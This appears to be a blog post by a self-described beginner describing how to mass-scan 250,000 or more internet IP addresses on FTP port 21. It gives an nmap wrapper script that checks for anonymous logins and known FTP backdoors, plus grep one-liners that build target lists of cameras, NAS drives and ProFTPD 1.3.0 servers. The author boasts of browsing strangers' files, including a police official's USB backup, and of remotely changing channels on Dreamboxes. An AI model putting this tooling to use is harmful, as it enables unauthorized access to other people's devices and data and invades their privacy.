note: if you use nmap for windows, it’s an older version and not all the scripts are added.
http-robots,http-php-version,http-usedir-enum are recently.

To get some automated scans ordely I suggest the following structure
(This is how I do it)

First I scan some of my ip lists.
I make another dir in ip_fun.
mkdir scans
I’m in to the port 21 for looking around in other peoples stuff.. 😀
I made a small automating script for this *mind that I use .txt extension for this use.

#!/bin/bash
# $1 : ipfile list WITHOUT extension (cause output file uses same name)
sudo nmap -v -iL ips/”$1″.txt -Pn -n -p 21 -oN scans/”$1″.scan_port21.txt –script=ftp-anon,banner,ftp-proftpd-backdoor,ftp-vsftpd-backdoor –open -sC

safe this in: /ip_fun/scan_p21.sh
now hit off with
(filename can be different ofcourse)
./scan_p21 nl_50000_01
./scan_p21 nl_50000_02
./scan_p21 nl_50000_03
./scan_p21 nl_50000_04
./scan_p21 nl_50000_05

that will give me 5*50000 scanned ip’s for port 21
listed at /ip_fun/scans/*.scan_port21.txt

You can manualy read them or grep for nice things.
(nmap’s output is Normal (you can use -oG for easier grepping) but I choose this method for my manualy reading)
camera’s

cat *.txt | grep -B 5 -i “camera” | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ | grep -v “192.168” | sort -g | uniq > searches/cameras.txt

you see I made a different dir for the output (else the further searches will have those outputs also.
this will result in a sorted IP list of the gives search.

or NAS (harddrives)

cat *.txt | grep -B 5 -i “nas” | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ | grep -v “192.168” | sort -g | uniq > searches/nas.txt

or just search for a ftp server you know how to exploit
there a lot of exploitable ftp servers.
eg. ProFTPD 1.3.0 (in some cases vurnerable to sql injection by password and name input )
(http://www.hackerscenter.com/index.php?/Feeds/Exploits/ProFTPD-mod_sql-Username-SQL-Injection-Vulnerability.html)

cat *.txt | grep -B 5 -i “proftpd 1.3.0” | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ | grep -v “192.168” | sort -g | uniq > searches/proftpd_1.3.1.txt

short code explanation:
first grep is the search keyword (-B 5 is for 5 lines before finding, need to have the ip ;-))
second grep is the IP grep, third grep is to check if ip starts with 192.168. if so, don’t output.. don’t need
them..

ofcourse I script this.. 😀

#!/bin/bash
# $1: keyword search
cat *.txt | grep -B 5 -i “$1” | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ | grep -v “192.168” | sort -g | uniq > searches/”$1″.txt

try dreambox, disk, ect.

I just finished 50 ip-lists of 50000 ip’s on port 21.
and I truly did find some juicy files ..
rofl.. I even found a usb-drive backup from a head of the police in amsterdam/rijnland.
EPIC fun.. 😀
(no I will not share it :P)

notes:
– a lot of nas/harddrives has password web protected authentication, but FTP anonymous login possibilities. (enough exploits on the web to jump out of the anony-box and run free on their servers/drives.
– dreamboxes are fun to watch. television. (you can change their actualy viewing channels remote, (and send them on-screen messages. fun!)
– a lot of music, movies, iso’s are shared.
– people don’t like updates. so a lot of old software is in use.
– port 21 info can say a lot about the running server, if it looks interesting scan some more
(port 80,8080,443,110,etc)
a short overview:
after this I have a path structure of
/ip_fun/
/ips
/scans
/searches

with a lof of ip files in ips, scan info in ‘scans’ and my search results in searches.

I’m just a beginner at this.. I just share my experiences..
feel free to critisize or add to my ideas..